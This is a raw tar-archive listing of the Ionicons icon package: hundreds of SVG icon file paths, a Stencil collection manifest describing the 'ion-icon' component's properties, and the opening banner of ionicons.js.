0ustar00collection/icon/svg/ios-today.svg000064400000000765151701353760013077 0ustar00collection/icon/svg/ios-beer.svg000064400000001656151701353760012674 0ustar00collection/icon/svg/ios-desktop.svg000064400000001153151701353760013420 0ustar00collection/icon/svg/ios-color-palette.svg000064400000001340151701353760014517 0ustar00collection/icon/svg/md-battery-charging.svg000064400000000436151701353760015012 0ustar00collection/icon/svg/ios-pricetags.svg000064400000001042151701353760013725 0ustar00collection/icon/svg/ios-pint.svg000064400000000703151701353760012721 0ustar00collection/icon/svg/ios-arrow-dropdown.svg000064400000001077151701353760014740 0ustar00collection/icon/svg/md-git-commit.svg000064400000000447151701353760013633 0ustar00collection/icon/svg/logo-yen.svg000064400000000333151701353760012707 0ustar00collection/icon/svg/ios-person-add.svg000064400000002032151701353760014000 0ustar00collection/icon/svg/ios-heart.svg000064400000000436151701353760013055 0ustar00collection/icon/svg/ios-mic.svg000064400000000713151701353760012520 0ustar00collection/icon/svg/md-notifications.svg000064400000000577151701353760014437 0ustar00collection/icon/svg/ios-stats.svg000064400000000765151701353760013115 0ustar00collection/icon/svg/md-medical.svg000064400000000330151701353760013147 0ustar00collection/icon/svg/md-navigate.svg000064400000000216151701353760013352 0ustar00collection/icon/svg/md-flash-off.svg000064400000000300151701353760013413 0ustar00collection/icon/svg/md-analytics.svg000064400000001334151701353760013545 0ustar00collection/icon/svg/md-close.svg000064400000000341151701353760012660 0ustar00collection/icon/svg/md-recording.svg000064400000000727151701353760013537 0ustar00collection/icon/svg/ios-git-merge.svg000064400000001412151701353760013625 0ustar00collection/icon/svg/logo-instagram.svg000064400000001154151701353760014103 0ustar00collection/icon/svg/md-map.svg000064400000000660151701353760012334 0ustar00collection/icon/svg/md-person.svg000064400000000353151701353760013064 0ustar00collection/icon/svg/md-sync.svg000064400000000704151701353760012532 0ustar00collection/icon/svg/logo-sass.svg000064400000006151151701353760013071 0ustar00collection/icon/svg/ios-filing.svg000064400000001070151701353760013215 0ustar00collection/icon/svg/ios-rainy.svg000064400000001526151701353760013075 0ustar00collection/icon/svg/ios-eye.svg000064400000001126151701353760012531 0ustar00collection/icon/svg/ios-rewind.svg000064400000000414151701353760013236 0ustar00collection/icon/svg/md-list.svg000064400000000252151701353760012527 0ustar00collection/icon/svg/md-share.svg000064400000001351151701353760012657 0ustar00collection/icon/svg/ios-umbrella.svg000064400000001673151701353760013561 0ustar00collection/icon/svg/ios-cloud.svg000064400000000471151701353760013057 0ustar00collection/icon/svg/md-cloud-download.svg000064400000000516151701353760014472 0ustar00collection/icon/svg/ios-hourglass.svg000064400000001356151701353760013763 0ustar00collection/icon/svg/ios-checkbox.svg000064400000000666151701353760013545 0ustar00collection/icon/svg/md-folder-open.svg000064400000000647151701353760013776 0ustar00collection/icon/svg/md-tennisball.svg000064400000001247151701353760013714 0ustar00collection/icon/svg/ios-checkmark.svg000064400000000513151701353760013676 0ustar00collection/icon/svg/md-notifications-off.svg000064400000001050151701353760015172 0ustar00collection/icon/svg/md-radio-button-on.svg000064400000000563151701353760014602 0ustar00collection/icon/svg/ios-call.svg000064400000001130151701353760012655 0ustar00collection/icon/svg/md-egg.svg000064400000000250151701353760012314 0ustar00collection/icon/svg/ios-card.svg000064400000000565151701353760012666 0ustar00collection/icon/svg/md-pint.svg000064400000000317151701353760012530 0ustar00collection/icon/svg/ios-volume-off.svg000064400000001547151701353760014035 0ustar00collection/icon/svg/logo-polymer.svg000064400000000317151701353760013605 0ustar00collection/icon/svg/md-bus.svg000064400000001216151701353760012346 0ustar00collection/icon/svg/logo-windows.svg000064400000000302151701353760013602 0ustar00collection/icon/svg/logo-tux.svg000064400000005163151701353760012742 0ustar00collection/icon/svg/md-bonfire.svg000064400000002343151701353760013203 0ustar00collection/icon/svg/md-rocket.svg000064400000001300151701353760013036 0ustar00collection/icon/svg/md-aperture.svg000064400000001762151701353760013412 0ustar00collection/icon/svg/md-man.svg000064400000000606151701353760012332 0ustar00collection/icon/svg/md-barcode.svg000064400000000376151701353760013162 0ustar00collection/icon/svg/ios-fitness.svg000064400000001000151701353760013411 0ustar00collection/icon/svg/md-undo.svg000064400000000375151701353760012527 0ustar00collection/icon/svg/md-tv.svg000064400000000364151701353760012211 0ustar00collection/icon/svg/ios-sunny.svg000064400000002574151701353760013133 0ustar00collection/icon/svg/ios-information-circle-outline.svg000064400000000744151701353760017215 0ustar00collection/icon/svg/md-bookmark.svg000064400000000245151701353760013363 0ustar00collection/icon/svg/ios-code-working.svg000064400000001371151701353760014341 0ustar00collection/icon/svg/md-ribbon.svg000064400000000767151701353760013042 0ustar00collection/icon/svg/ios-disc.svg000064400000000714151701353760012673 0ustar00collection/icon/svg/md-skip-backward.svg000064400000000201151701353760014270 0ustar00collection/icon/svg/ios-arrow-round-back.svg000064400000000516151701353760015126 0ustar00collection/icon/svg/md-airplane.svg000064400000000342151701353760013347 0ustar00collection/icon/svg/md-list-box.svg000064400000000420151701353760013312 0ustar00collection/icon/svg/md-people.svg000064400000001020151701353760013032 0ustar00collection/icon/svg/ios-lock.svg000064400000000762151701353760012704 0ustar00collection/icon/svg/ios-thumbs-down.svg000064400000001645151701353760014224 0ustar00collection/icon/svg/md-square.svg000064400000000402151701353760013051 0ustar00collection/icon/svg/md-arrow-round-forward.svg000064400000000517151701353760015501 0ustar00collection/icon/svg/ios-return-right.svg000064400000001023151701353760014375 0ustar00collection/icon/svg/logo-tumblr.svg000064400000000742151701353760013425 0ustar00collection/icon/svg/md-options.svg000064400000001151151701353760013246 0ustar00collection/icon/svg/ios-arrow-dropup-circle.svg000064400000000535151701353760015652 0ustar00collection/icon/svg/ios-arrow-dropleft-circle.svg000064400000000541151701353760016155 0ustar00collection/icon/svg/ios-megaphone.svg000064400000002033151701353760013710 0ustar00collection/icon/svg/ios-refresh.svg000064400000000721151701353760013405 0ustar00collection/icon/svg/ios-happy.svg000064400000000654151701353760013075 0ustar00collection/icon/svg/ios-flask.svg000064400000001111151701353760013041 0ustar00collection/icon/svg/ios-sad.svg000064400000001073151701353760012517 0ustar00collection/icon/svg/md-lock.svg000064400000000664151701353760012513 0ustar00collection/icon/svg/ios-thumbs-up.svg000064400000001657151701353760013704 0ustar00collection/icon/svg/ios-phone-landscape.svg000064400000001007151701353760015006 0ustar00collection/icon/svg/ios-phone-portrait.svg000064400000000741151701353760014724 0ustar00collection/icon/svg/logo-markdown.svg000064400000000653151701353760013743 0ustar00collection/icon/svg/ios-build.svg000064400000001375151701353760013054 0ustar00collection/icon/svg/ios-create.svg000064400000001341151701353760013211 0ustar00collection/icon/svg/ios-arrow-forward.svg000064400000000373151701353760014546 0ustar00collection/icon/svg/ios-tablet-landscape.svg000064400000000726151701353760015157 0ustar00collection/icon/svg/logo-facebook.svg000064400000000544151701353760013671 0ustar00collection/icon/svg/ios-jet.svg000064400000000521151701353760012527 0ustar00collection/icon/svg/md-arrow-dropleft-circle.svg000064400000000307151701353760015763 0ustar00collection/icon/svg/ios-arrow-up.svg000064400000000401151701353760013516 0ustar00collection/icon/svg/ios-videocam.svg000064400000000620151701353760013534 0ustar00collection/icon/svg/md-mail-unread.svg000064400000000573151701353760013760 0ustar00collection/icon/svg/ios-calculator.svg000064400000001547151701353760014107 0ustar00collection/icon/svg/ios-rocket.svg000064400000001555151701353760013244 0ustar00collection/icon/svg/md-checkmark-circle.svg000064400000000362151701353760014745 0ustar00collection/icon/svg/md-clock.svg000064400000002645151701353760012657 0ustar00collection/icon/svg/md-image.svg000064400000000475151701353760012645 0ustar00collection/icon/svg/md-mail-open.svg000064400000000515151701353760013437 0ustar00collection/icon/svg/ios-laptop.svg000064400000000740151701353760013247 0ustar00collection/icon/svg/ios-document.svg000064400000000527151701353760013571 0ustar00collection/icon/svg/ios-appstore.svg000064400000001563151701353760013611 0ustar00collection/icon/svg/md-move.svg000064400000000276151701353760012530 0ustar00collection/icon/svg/ios-contacts.svg000064400000002602151701353760013565 0ustar00collection/icon/svg/md-photos.svg000064400000000654151701353760013076 0ustar00collection/icon/svg/ios-arrow-back.svg000064400000000401151701353760013772 0ustar00collection/icon/svg/ios-medal.svg000064400000001547151701353760013040 0ustar00collection/icon/svg/ios-image.svg000064400000001221151701353760013025 0ustar00collection/icon/svg/md-text.svg000064400000000407151701353760012542 0ustar00collection/icon/svg/ios-return-left.svg000064400000001026151701353760014215 0ustar00collection/icon/svg/ios-cafe.svg000064400000001275151701353760012652 0ustar00collection/icon/svg/md-basket.svg000064400000000721151701353760013026 0ustar00collection/icon/svg/md-pricetags.svg000064400000000673151701353760013544 0ustar00collection/icon/svg/md-flower.svg000064400000001123151701353760013050 0ustar00collection/icon/svg/ios-thunderstorm.svg000064400000000723151701353760014507 0ustar00collection/icon/svg/ios-paw.svg000064400000001770151701353760012543 0ustar00collection/icon/svg/logo-game-controller-b.svg000064400000002135151701353760015427 0ustar00collection/icon/svg/ios-search.svg000064400000001026151701353760013213 0ustar00collection/icon/svg/logo-euro.svg000064400000000751151701353760013072 0ustar00collection/icon/svg/md-git-network.svg000064400000001162151701353760014027 0ustar00collection/icon/svg/md-phone-landscape.svg000064400000000437151701353760014622 0ustar00collection/icon/svg/md-play.svg000064400000000151151701353760012517 0ustar00collection/icon/svg/ios-school.svg000064400000001026151701353760013235 0ustar00collection/icon/svg/logo-vimeo.svg000064400000001413151701353760013233 0ustar00collection/icon/svg/ios-expand.svg000064400000002116151701353760013226 0ustar00collection/icon/svg/ios-podium.svg000064400000000647151701353760013253 0ustar00collection/icon/svg/ios-save.svg000064400000001041151701353760012701 0ustar00collection/icon/svg/ios-mail-open.svg000064400000001173151701353760013632 0ustar00collection/icon/svg/ios-glasses.svg000064400000001254151701353760013412 0ustar00collection/icon/svg/ios-man.svg000064400000001252151701353760012522 0ustar00collection/icon/svg/md-appstore.svg000064400000000514151701353760013412 0ustar00collection/icon/svg/ios-film.svg000064400000001727151701353760012705 0ustar00collection/icon/svg/logo-usd.svg000064400000003464151701353760012717 0ustar00collection/icon/svg/md-contrast.svg000064400000000441151701353760013411 0ustar00collection/icon/svg/ios-skip-backward.svg000064400000000366151701353760014476 0ustar00collection/icon/svg/ios-water.svg000064400000000750151701353760013073 0ustar00collection/icon/svg/md-power.svg000064400000000534151701353760012713 0ustar00collection/icon/svg/md-pause.svg000064400000000203151701353760012665 0ustar00collection/icon/svg/ios-battery-charging.svg000064400000000757151701353760015212 0ustar00collection/icon/svg/ios-redo.svg000064400000000650151701353760012701 0ustar00collection/icon/svg/ios-quote.svg000064400000001014151701353760013100 0ustar00collection/icon/svg/ios-flame.svg000064400000000527151701353760013037 0ustar00collection/icon/svg/md-pricetag.svg000064400000000532151701353760013353 0ustar00collection/icon/svg/logo-designernews.svg000064400000000556151701353760014620 0ustar00collection/icon/svg/ios-cloud-download.svg000064400000001064151701353760014663 0ustar00collection/icon/svg/ios-arrow-round-down.svg000064400000000514151701353760015173 0ustar00collection/icon/svg/ios-football.svg000064400000002464151701353760013557 0ustar00collection/icon/svg/md-film.svg000064400000000544151701353760012507 0ustar00collection/icon/svg/md-leaf.svg000064400000000313151701353760012461 0ustar00collection/icon/svg/md-remove-circle-outline.svg000064400000000615151701353760015770 0ustar00collection/icon/svg/ios-link.svg000064400000003027151701353760012706 0ustar00collection/icon/svg/md-beaker.svg000064400000000662151701353760013012 0ustar00collection/icon/svg/md-globe.svg000064400000003722151701353760012651 0ustar00collection/icon/svg/md-settings.svg000064400000002171151701353760013416 0ustar00collection/icon/svg/md-contract.svg000064400000000351151701353760013371 0ustar00collection/icon/svg/md-water.svg000064400000000332151701353760012675 0ustar00collection/icon/svg/md-cloud-circle.svg000064400000000615151701353760014124 0ustar00collection/icon/svg/md-download.svg000064400000000242151701353760013362 0ustar00collection/icon/svg/ios-ice-cream.svg000064400000003442151701353760013577 0ustar00collection/icon/svg/md-reverse-camera.svg000064400000000673151701353760014464 0ustar00collection/icon/svg/md-paw.svg000064400000002252151701353760012345 0ustar00collection/icon/svg/ios-git-branch.svg000064400000001504151701353760013765 0ustar00collection/icon/svg/md-musical-note.svg000064400000000320151701353760014150 0ustar00collection/icon/svg/md-laptop.svg000064400000000763151701353760013062 0ustar00collection/icon/svg/md-log-in.svg000064400000001113151701353760012736 0ustar00collection/icon/svg/ios-bed.svg000064400000001252151701353760012501 0ustar00collection/icon/svg/md-checkmark.svg000064400000000227151701353760013506 0ustar00collection/icon/svg/ios-flash-off.svg000064400000000745151701353760013622 0ustar00collection/icon/svg/ios-cog.svg000064400000005776151701353760012536 0ustar00collection/icon/svg/ios-keypad.svg000064400000001676151701353760013236 0ustar00collection/icon/svg/ios-briefcase.svg000064400000000635151701353760013676 0ustar00collection/icon/svg/md-glasses.svg000064400000000365151701353760013222 0ustar00collection/icon/svg/ios-information.svg000064400000000330151701353760014270 0ustar00collection/icon/svg/ios-radio-button-on.svg000064400000001105151701353760014765 0ustar00collection/icon/svg/md-woman.svg000064400000000716151701353760012702 0ustar00collection/icon/svg/md-filing.svg000064400000000546151701353760013032 0ustar00collection/icon/svg/md-cloud.svg000064400000000445151701353760012666 0ustar00collection/icon/svg/ios-git-commit.svg000064400000001027151701353760014020 0ustar00collection/icon/svg/ios-grid.svg000064400000001446151701353760012701 0ustar00collection/icon/svg/md-done-all.svg000064400000000466151701353760013256 0ustar00collection/icon/svg/ios-cloud-circle.svg000064400000000612151701353760014313 0ustar00collection/icon/svg/md-help-circle.svg000064400000000531151701353760013743 0ustar00collection/icon/svg/logo-youtube.svg000064400000000665151701353760013620 0ustar00collection/icon/svg/md-boat.svg000064400000001605151701353760012504 0ustar00collection/icon/svg/md-wallet.svg000064400000000774151701353760013055 0ustar00collection/icon/svg/md-clipboard.svg000064400000000733151701353760013517 0ustar00collection/icon/svg/md-bluetooth.svg000064400000000425151701353760013563 0ustar00collection/icon/svg/md-print.svg000064400000000376151701353760012717 0ustar00collection/icon/svg/ios-code-download.svg000064400000002004151701353760014462 0ustar00collection/icon/svg/md-remove-circle.svg000064400000000305151701353760014307 0ustar00collection/icon/svg/md-mic-off.svg000064400000001446151701353760013102 0ustar00collection/icon/svg/md-arrow-down.svg000064400000000262151701353760013654 0ustar00collection/icon/svg/ios-trash.svg000064400000000617151701353760013074 0ustar00collection/icon/svg/ios-american-football.svg000064400000003013151701353760015323 0ustar00collection/icon/svg/logo-ionitron.svg000064400000003437151701353760013765 0ustar00collection/icon/svg/ios-headset.svg000064400000002043151701353760013363 0ustar00collection/icon/svg/ios-partly-sunny.svg000064400000002516151701353760014440 0ustar00collection/icon/svg/ios-add-circle-outline.svg000064400000001014151701353760015407 0ustar00collection/icon/svg/md-cafe.svg000064400000000331151701353760012450 0ustar00collection/icon/svg/ios-map.svg000064400000001123151701353760012521 0ustar00collection/icon/svg/md-calculator.svg000064400000000571151701353760013711 0ustar00collection/icon/svg/md-reorder.svg000064400000000240151701353760013213 0ustar00collection/icon/svg/ios-flash.svg000064400000000363151701353760013046 0ustar00collection/icon/svg/md-arrow-dropup.svg000064400000000151151701353760014213 0ustar00collection/icon/svg/logo-bitcoin.svg000064400000001672151701353760013552 0ustar00collection/icon/svg/ios-more.svg000064400000000417151701353760012713 0ustar00collection/icon/svg/ios-trending-up.svg000064400000000741151701353760014205 0ustar00collection/icon/svg/md-key.svg000064400000000471151701353760012347 0ustar00collection/icon/svg/md-heart-dislike.svg000064400000000615151701353760014304 0ustar00collection/icon/svg/ios-unlock.svg000064400000000776151701353760013254 0ustar00collection/icon/svg/md-alarm.svg000064400000001144151701353760012651 0ustar00collection/icon/svg/md-planet.svg000064400000001642151701353760013043 0ustar00collection/icon/svg/ios-compass.svg000064400000000634151701353760013417 0ustar00collection/icon/svg/md-refresh-circle.svg000064400000000605151701353760014453 0ustar00collection/icon/svg/md-cart.svg000064400000001277151701353760012515 0ustar00collection/icon/svg/ios-tennisball.svg000064400000001140151701353760014076 0ustar00collection/icon/svg/ios-arrow-round-up.svg000064400000000515151701353760014651 0ustar00collection/icon/svg/md-flame.svg000064400000001033151701353760012636 0ustar00collection/icon/svg/ios-nutrition.svg000064400000001664151701353760014011 0ustar00collection/icon/svg/logo-hackernews.svg000064400000000244151701353760014247 0ustar00collection/icon/svg/ios-volume-mute.svg000064400000000463151701353760014231 0ustar00collection/icon/svg/md-menu.svg000064400000000246151701353760012523 0ustar00collection/icon/svg/logo-rss.svg000064400000000574151701353760012732 0ustar00collection/icon/svg/md-phone-portrait.svg000064400000000436151701353760014533 0ustar00collection/icon/svg/md-mail.svg000064400000000477151701353760012507 0ustar00collection/icon/svg/ios-contrast.svg000064400000000423151701353760013603 0ustar00collection/icon/svg/md-speedometer.svg000064400000001246151701353760014074 0ustar00collection/icon/svg/ios-planet.svg000064400000002040151701353760013226 0ustar00collection/icon/svg/md-log-out.svg000064400000001072151701353760013143 0ustar00collection/icon/svg/ios-bug.svg000064400000003265151701353760012532 0ustar00collection/icon/svg/logo-skype.svg000064400000003012151701353760013244 0ustar00collection/icon/svg/md-pulse.svg000064400000001026151701353760012704 0ustar00collection/icon/svg/ios-heart-empty.svg000064400000001256151701353760014212 0ustar00collection/icon/svg/md-mic.svg000064400000000666151701353760012335 0ustar00collection/icon/svg/ios-download.svg000064400000000651151701353760013560 0ustar00collection/icon/svg/md-trending-down.svg000064400000000276151701353760014341 0ustar00collection/icon/svg/ios-finger-print.svg000064400000006126151701353760014360 0ustar00collection/icon/svg/md-bulb.svg000064400000000506151701353760012502 0ustar00collection/icon/svg/md-arrow-round-up.svg000064400000000507151701353760014460 0ustar00collection/icon/svg/ios-settings.svg000064400000001602151701353760013606 0ustar00collection/icon/svg/md-information-circle.svg000064400000000317151701353760015342 0ustar00collection/icon/svg/md-home.svg000064400000000210151701353760012476 0ustar00collection/icon/svg/md-folder.svg000064400000000427151701353760013033 0ustar00collection/icon/svg/ios-infinite.svg000064400000001617151701353760013561 0ustar00collection/icon/svg/md-help-buoy.svg000064400000001445151701353760013465 0ustar00collection/icon/svg/md-wine.svg000064400000000341151701353760012515 0ustar00collection/icon/svg/md-color-fill.svg000064400000000460151701353760013617 0ustar00collection/icon/svg/md-subway.svg000064400000001011151701353760013060 0ustar00collection/icon/svg/ios-brush.svg000064400000001177151701353760013100 0ustar00collection/icon/svg/ios-undo.svg000064400000000656151701353760012723 0ustar00collection/icon/svg/ios-square-outline.svg000064400000000425151701353760014725 0ustar00collection/icon/svg/ios-open.svg000064400000001004151701353760012703 0ustar00collection/icon/svg/md-repeat.svg000064400000000326151701353760013036 0ustar00collection/icon/svg/ios-mail-unread.svg000064400000001400151701353760014140 0ustar00collection/icon/svg/md-arrow-back.svg000064400000000264151701353760013607 0ustar00collection/icon/svg/ios-female.svg000064400000001657151701353760013211 0ustar00collection/icon/svg/ios-construct.svg000064400000003210151701353760013767 0ustar00collection/icon/svg/md-send.svg000064400000000201151701353760012477 0ustar00collection/icon/svg/ios-transgender.svg000064400000002376151701353760014273 0ustar00collection/icon/svg/md-arrow-dropup-circle.svg000064400000000307151701353760015455 0ustar00collection/icon/svg/ios-refresh-circle.svg000064400000000747151701353760014654 0ustar00collection/icon/svg/md-swap.svg000064400000000307151701353760012527 0ustar00collection/icon/svg/md-medal.svg000064400000000540151701353760012636 0ustar00collection/icon/svg/md-radio.svg000064400000000566151701353760012662 0ustar00collection/icon/svg/ios-star.svg000064400000000722151701353760012721 0ustar00collection/icon/svg/ios-pulse.svg000064400000001034151701353760013075 0ustar00collection/icon/svg/md-musical-notes.svg000064400000000542151701353760014341 0ustar00collection/icon/svg/md-rose.svg000064400000001111151701353760012517 0ustar00collection/icon/svg/md-partly-sunny.svg000064400000001336151701353760014245 0ustar00collection/icon/svg/ios-add-circle.svg000064400000000633151701353760013740 0ustar00collection/icon/svg/md-moon.svg000064400000000363151701353760012527 0ustar00collection/icon/svg/ios-git-pull-request.svg000064400000002104151701353760015167 0ustar00collection/icon/svg/logo-twitter.svg000064400000001155151701353760013621 0ustar00collection/icon/svg/logo-css3.svg000064400000000532151701353760012770 0ustar00collection/icon/svg/logo-android.svg000064400000001663151701353760013543 0ustar00collection/icon/svg/ios-qr-scanner.svg000064400000001371151701353760014022 0ustar00collection/icon/svg/ios-book.svg000064400000000737151701353760012710 0ustar00collection/icon/svg/md-happy.svg000064400000001214151701353760012674 0ustar00collection/icon/svg/md-videocam.svg000064400000000367151701353760013352 0ustar00collection/icon/svg/ios-cart.svg000064400000001414151701353760012700 0ustar00collection/icon/svg/ios-journal.svg000064400000000511151701353760013416 0ustar00collection/icon/svg/md-arrow-dropright.svg000064400000000151151701353760014704 0ustar00collection/icon/svg/logo-google.svg000064400000000751151701353760013374 0ustar00collection/icon/svg/ios-repeat.svg000064400000001632151701353760013231 0ustar00collection/icon/svg/md-browsers.svg000064400000000322151701353760013420 0ustar00collection/icon/svg/md-share-alt.svg000064400000000306151701353760013434 0ustar00collection/icon/svg/ios-recording.svg000064400000001003151701353760013715 0ustar00collection/icon/svg/md-rewind.svg000064400000000220151701353760013037 0ustar00collection/icon/svg/ios-switch.svg000064400000001017151701353760013247 0ustar00collection/icon/svg/ios-git-network.svg000064400000001651151701353760014224 0ustar00collection/icon/svg/md-alert.svg000064400000000322151701353760012661 0ustar00collection/icon/svg/ios-globe.svg000064400000003003151701353760013033 0ustar00collection/icon/svg/ios-chatbubbles.svg000064400000001621151701353760014225 0ustar00collection/icon/svg/logo-slack.svg000064400000002002151701353760013204 0ustar00collection/icon/svg/md-eye.svg000064400000000606151701353760012341 0ustar00collection/icon/svg/ios-flower.svg000064400000005310151701353760013244 0ustar00collection/icon/svg/ios-remove-circle.svg000064400000000366151701353760014510 0ustar00collection/icon/svg/ios-microphone.svg000064400000002526151701353760014117 0ustar00collection/icon/svg/logo-googleplus.svg000064400000001036151701353760014275 0ustar00collection/icon/svg/ios-checkmark-circle.svg000064400000000636151701353760015143 0ustar00collection/icon/svg/ios-exit.svg000064400000000650151701353760012721 0ustar00collection/icon/svg/md-return-left.svg000064400000000253151701353760014024 0ustar00collection/icon/svg/ios-color-fill.svg000064400000001144151701353760014011 0ustar00collection/icon/svg/ios-cloudy-night.svg000064400000001412151701353760014353 0ustar00collection/icon/svg/md-call.svg000064400000000762151701353760012475 0ustar00collection/icon/svg/logo-codepen.svg000064400000003065151701353760013536 0ustar00collection/icon/svg/md-flag.svg000064400000000550151701353760012466 0ustar00collection/icon/svg/md-trophy.svg000064400000001146151701353760013104 0ustar00collection/icon/svg/md-arrow-dropdown.svg000064400000000151151701353760014536 0ustar00collection/icon/svg/md-square-outline.svg000064400000000376151701353760014540 0ustar00collection/icon/svg/ios-arrow-dropleft.svg000064400000001103151701353760014711 0ustar00collection/icon/svg/md-return-right.svg000064400000000252151701353760014206 0ustar00collection/icon/svg/md-cloud-upload.svg000064400000000521151701353760014143 0ustar00collection/icon/svg/ios-bluetooth.svg000064400000001164151701353760013756 0ustar00collection/icon/svg/ios-contact.svg000064400000001573151701353760013410 0ustar00collection/icon/svg/ios-skip-forward.svg000064400000000366151701353760014364 0ustar00collection/icon/svg/ios-help-buoy.svg000064400000001267151701353760013661 0ustar00collection/icon/svg/md-easel.svg000064400000000522151701353760012645 0ustar00collection/icon/svg/ios-volume-low.svg000064400000001044151701353760014054 0ustar00collection/icon/svg/md-chatbubbles.svg000064400000000522151701353760014032 0ustar00collection/icon/svg/ios-easel.svg000064400000001743151701353760013045 0ustar00collection/icon/svg/ios-git-compare.svg000064400000002431151701353760014156 0ustar00collection/icon/svg/md-qr-scanner.svg000064400000000655151701353760013634 0ustar00collection/icon/svg/ios-wallet.svg000064400000000470151701353760013240 0ustar00collection/icon/svg/ios-arrow-dropup.svg000064400000001100151701353760014400 0ustar00collection/icon/svg/md-close-circle-outline.svg000064400000000756151701353760015606 0ustar00collection/icon/svg/logo-no-smoking.svg000064400000003054151701353760014200 0ustar00collection/icon/svg/ios-musical-note.svg000064400000000657151701353760014357 0ustar00collection/icon/svg/ios-albums.svg000064400000000652151701353760013235 0ustar00collection/icon/svg/md-volume-off.svg000064400000001171151701353760013634 0ustar00collection/icon/svg/md-bed.svg000064400000000426151701353760012311 0ustar00collection/icon/svg/ios-reorder.svg000064400000000206151701353760013407 0ustar00collection/icon/svg/logo-angular.svg000064400000000374151701353760013552 0ustar00collection/icon/svg/md-tablet-portrait.svg000064400000000466151701353760014700 0ustar00collection/icon/svg/md-eye-off.svg000064400000001255151701353760013112 0ustar00collection/icon/svg/md-chatboxes.svg000064400000000713151701353760013536 0ustar00collection/icon/svg/ios-help-circle-outline.svg000064400000001261151701353760015613 0ustar00collection/icon/svg/ios-calendar.svg000064400000000716151701353760013524 0ustar00collection/icon/svg/md-save.svg000064400000000454151701353760012516 0ustar00collection/icon/svg/md-bookmarks.svg000064400000000663151701353760013552 0ustar00collection/icon/svg/md-quote.svg000064400000000264151701353760012714 0ustar00collection/icon/svg/ios-locate.svg000064400000001422151701353760013215 0ustar00collection/icon/svg/ios-color-filter.svg000064400000003273151701353760014355 0ustar00collection/icon/svg/md-person-add.svg000064400000000434151701353760013612 0ustar00collection/icon/svg/ios-business.svg000064400000002604151701353760013604 0ustar00collection/icon/svg/md-basketball.svg000064400000001425151701353760013663 0ustar00collection/icon/svg/md-book.svg000064400000000467151701353760012516 0ustar00collection/icon/svg/ios-person.svg000064400000001233151701353760013254 0ustar00collection/icon/svg/md-transgender.svg000064400000001061151701353760014067 0ustar00collection/icon/svg/md-outlet.svg000064400000001154151701353760013072 0ustar00collection/icon/svg/md-close-circle.svg000064400000000576151701353760014131 0ustar00collection/icon/svg/md-restaurant.svg000064400000000764151701353760013754 0ustar00collection/icon/svg/logo-twitch.svg000064400000000351151701353760013416 0ustar00collection/icon/svg/ios-clock.svg000064400000003121151701353760013037 0ustar00collection/icon/svg/ios-browsers.svg000064400000000553151701353760013620 0ustar00collection/icon/svg/logo-ionic.svg000064400000001114151701353760013213 0ustar00collection/icon/svg/md-compass.svg000064400000000555151701353760013227 0ustar00collection/icon/svg/md-git-branch.svg000064400000001350151701353760013572 0ustar00collection/icon/svg/md-today.svg000064400000000773151701353760012704 0ustar00collection/icon/svg/md-open.svg000064400000000524151701353760012517 0ustar00collection/icon/svg/ios-barcode.svg000064400000002105151701353760013344 0ustar00collection/icon/svg/md-link.svg000064400000000545151701353760012516 0ustar00collection/icon/svg/md-notifications-outline.svg000064400000001133151701353760016101 0ustar00collection/icon/svg/md-star-half.svg000064400000000577151701353760013447 0ustar00collection/icon/svg/md-archive.svg000064400000000753151701353760013203 0ustar00collection/icon/svg/logo-python.svg000064400000002500151701353760013433 0ustar00collection/icon/svg/ios-power.svg000064400000001162151701353760013103 0ustar00collection/icon/svg/ios-warning.svg000064400000000520151701353760013411 0ustar00collection/icon/svg/ios-wine.svg000064400000001266151701353760012716 0ustar00collection/icon/svg/ios-bowtie.svg000064400000001373151701353760013244 0ustar00collection/icon/svg/ios-trending-down.svg000064400000000746151701353760014535 0ustar00collection/icon/svg/ios-home.svg000064400000001241151701353760012675 0ustar00collection/icon/svg/ios-shuffle.svg000064400000001733151701353760013407 0ustar00collection/icon/svg/ios-menu.svg000064400000000506151701353760012714 0ustar00collection/icon/svg/ios-star-half.svg000064400000001255151701353760013633 0ustar00collection/icon/svg/md-school.svg000064400000000311151701353760013037 0ustar00collection/icon/svg/ios-boat.svg000064400000002145151701353760012676 0ustar00collection/icon/svg/ios-battery-full.svg000064400000000675151701353760014371 0ustar00collection/icon/svg/md-microphone.svg000064400000000474151701353760013725 0ustar00collection/icon/svg/logo-html5.svg000064400000000520151701353760013143 0ustar00collection/icon/svg/md-add.svg000064400000000251151701353760012303 0ustar00collection/icon/svg/md-heart.svg000064400000000504151701353760012657 0ustar00collection/icon/svg/md-checkbox-outline.svg000064400000000550151701353760015020 0ustar00collection/icon/svg/md-hammer.svg000064400000000766151701353760013037 0ustar00collection/icon/svg/md-beer.svg000064400000003172151701353760012475 0ustar00collection/icon/svg/md-git-pull-request.svg000064400000001333151701353760015000 0ustar00collection/icon/svg/ios-shirt.svg000064400000001063151701353760013100 0ustar00collection/icon/svg/md-snow.svg000064400000001222151701353760012540 0ustar00collection/icon/svg/logo-npm.svg000064400000000713151701353760012710 0ustar00collection/icon/svg/ios-checkbox-outline.svg000064400000001032151701353760015206 0ustar00collection/collection-manifest.json000064400000004532151701353760013545 0ustar00{ "components": [ { "tag": "ion-icon", "dependencies": [], "componentClass": "Icon", "componentPath": "icon/icon.js", "styles": { "$": { "stylePaths": [ "icon/icon.css" ] } }, "assetPaths": [ "icon/svg" ], "props": [ { "name": "ariaLabel", "type": "String", "mutable": true, "reflectToAttr": true, "attr": "aria-label" }, { "name": "color", "type": "String", "attr": "color" }, { "name": "icon", "type": "String", "attr": "icon", "watch": [ "loadIcon" ] }, { "name": "ios", "type": "String", "attr": "ios" }, { "name": "lazy", "type": "Boolean", "attr": "lazy" }, { "name": "md", "type": "String", "attr": "md" }, { "name": "mode", "type": "String", "attr": "mode" }, { "name": "name", "type": "String", "attr": "name", "watch": [ "loadIcon" ] }, { "name": "size", "type": "String", "attr": "size" }, { "name": "src", "type": "String", "attr": "src", "watch": [ "loadIcon" ] } ], "states": [ { "name": "isVisible" }, { "name": "svgContent" } ], "context": [ { "name": "isServer", "id": "isServer" }, { "name": "resourcesUrl", "id": "resourcesUrl" }, { "name": "doc", "id": "document" }, { "name": "win", "id": "window" } ], "hostElement": { "name": "el" }, "shadow": true } ], "collections": [], "compiler": { "name": "@stencil/core", "version": "0.14.0-4", "typescriptVersion": "2.9.2" }, "bundles": [] }collection/interface.js000064400000000000151701353760011173 0ustar00ionicons.js000064400000004144151701353760006736 0ustar00/*! * Built with http://stenciljs.com * 2018-09-14T16:08:06 */ 